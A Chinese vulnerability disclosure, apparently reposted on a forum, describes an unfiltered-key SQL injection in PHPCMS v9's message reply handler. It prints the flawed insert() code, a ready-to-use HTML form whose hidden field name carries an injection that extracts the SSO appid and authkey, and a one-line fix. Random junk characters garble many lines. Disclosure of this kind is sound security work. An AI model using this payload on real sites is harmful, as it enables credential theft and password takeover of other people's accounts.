|
简要描述:! F3 e* d* ^1 C
. U2 T& k+ ^2 ~! }% W" @& ]
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。8 C9 G, r5 b7 n/ c" i
% m( s# [& f7 P1 x3 F7 H$ ^
明天再更新下一个漏洞。* [1 K& O! F p M# @ S
详细说明:. c$ V# z3 i: X+ V: G4 o
在/phpcms9/phpcms/modules/message/index.php中有代码如下:3 {& h; k( f7 j/ I! l
; W$ z& p1 T% i% j& }3 l
$messageid = $this->message_db->insert($_POST['info'],true);
& G/ s1 j* R" \) k) y6 ^
! n; q. L9 `/ h& P. P" }
0 S! K+ k; [1 Qinsert方法是key value的,代码如下:
0 R7 l0 M% p4 ?: ^4 l0 n9 Q" D6 c; p3 h/ ^! n# S/ k) B2 s: K
public function insert($data, $table, $return_insert_id = false, $replace = false) {+ E T4 r5 [2 ?& m2 x. s6 x
if(!is_array( $data ) || $table == '' || count($data) == 0) {1 p8 G: O7 h9 n8 @5 i6 a( Y D
return false;
) _# s$ |. g2 u7 Z% N9 ~ }
& F |& H+ ?, R% @% b
T! K* }6 r8 R $fielddata = array_keys($data);% Z8 E5 Z0 \& L8 N& ~9 k
$valuedata = array_values($data);( F' X2 X$ H; q! p2 Y
array_walk($fielddata, array($this, 'add_special_char'));
+ V2 G0 N0 X' {& X3 f array_walk($valuedata, array($this, 'escape_string'));; g) I' n- }* {! `* n6 B6 \( d
6 e* |1 P1 C$ n8 [: ~
$field = implode (',', $fielddata);2 ~1 S% N- o% K$ m2 n. _$ Q
$value = implode (',', $valuedata);
( h" ?, P: T# u% f {+ n! v0 X6 W# M) H0 n
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';. m# {. w* X7 F. L
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
8 D- `6 A0 H; b; ?, e/ T# W3 m $return = $this->execute($sql);& D, m" n9 u. B/ E# k
return $return_insert_id ? $this->insert_id() : $return;1 Z9 Q3 T2 d' F0 r. o5 \
}
! t( v/ C7 _4 a$ i$ O) i
7 t* V Y# R: X/ g% I* m0 c. v
& B; A" T; a( P7 D嗯,很遗憾的是, {% {8 E g- A/ j
, Y- o, T7 E: P6 E1 [6 `array_walk($fielddata, array($this, 'add_special_char'));1 `2 |8 w( o. ^, N8 B
/ }4 J, k4 {* n' v
# K2 ^+ G, s+ X& }中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 N; U5 ~4 e1 H9 U' b4 J
! R& W6 [4 [: l# ^! `3 |4 R0 d- L
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。) y! `& J+ |3 r8 m
: n# l7 l1 d2 h& }3 |; S漏洞证明:' L: P, c# E! A9 K& n
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。5 m ], U+ _! @4 C7 j
& ]' o m( |6 l" C5 ^" h9 F7 t* o
表单如下:用户名什么的得自己改一改。; u( R1 c0 C' g+ f
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">8 ?3 J c' Y2 w0 d- ~% x+ s2 m
<table width="100%" cellspacing="0" class="table_form">
. G% S6 |% ]; [% @1 k<tr>
2 C2 I8 b% {) o) ^3 d<th>标 题:</th>, C5 P9 ~0 k1 J) H2 G
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
, G# P" c! |: c. b% ~6 h3 |0 H</tr> / A& ^& m4 W3 c, c
<tr>
2 v% Z7 I7 c# }<th>内 容:</th> ]: [2 \% C0 r6 h
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
3 X2 ]6 @" V6 d: Q2 i5 B</tr>
9 U* O4 Z. P0 d) @% j6 |" j7 @<input type="hidden" name="info[replyid]" value="2" /> 3 x* V' u H; f1 l; ?# ?7 }, F
<input type="hidden" name="info[send_to_id]" value="cc" /> ( p# V1 y% v; c$ q2 X
<input type="hidden" name="info[send_from_id]" value="hh">
4 @$ X. @3 N* C- G: k2 a5 @3 L<!-- 漏洞的利用重点在这里开始 -->3 j E6 ~8 n# Y9 a( j5 T6 w
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
% q9 { n/ ?( ^; x4 `: v<!-- 漏洞的利用重点在这里结束 -->
2 W6 E2 J5 F' u# u% c<tr>
8 X; `$ N" e) t/ O6 q4 r& y$ T8 {<th>验证码:</th>0 _, W' a2 l( G
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>! j$ S: @, P4 Q& J: {2 r. z Q
</tr>
0 @" V3 ]7 J& B8 O; S<tr>
; @* l9 P6 x2 d9 S, m8 J<td></td>
: Q" V- m$ e% ?0 z. B6 ]+ I9 W<td colspan="2"><label>
! m" h1 o# _: K. u<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>4 t+ g2 J0 s6 ~4 L$ J3 M3 Q
</label></td>
# y# j! v: d" a' z# _* H$ f. u3 [# v3 N</tr>& Q6 H% e0 ^+ o2 Q0 b6 ^8 g
</table>
( u/ g# @7 I- H3 |</form>
j( O( ~' j2 i在add_special_char函数内对key做过滤就可以了。7 [4 X' ]- ~0 X
4 q/ j u R- G$ _
: ~2 _( D0 T, Y$ y# ? k* }+ l% i5 ]5 l3 F
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|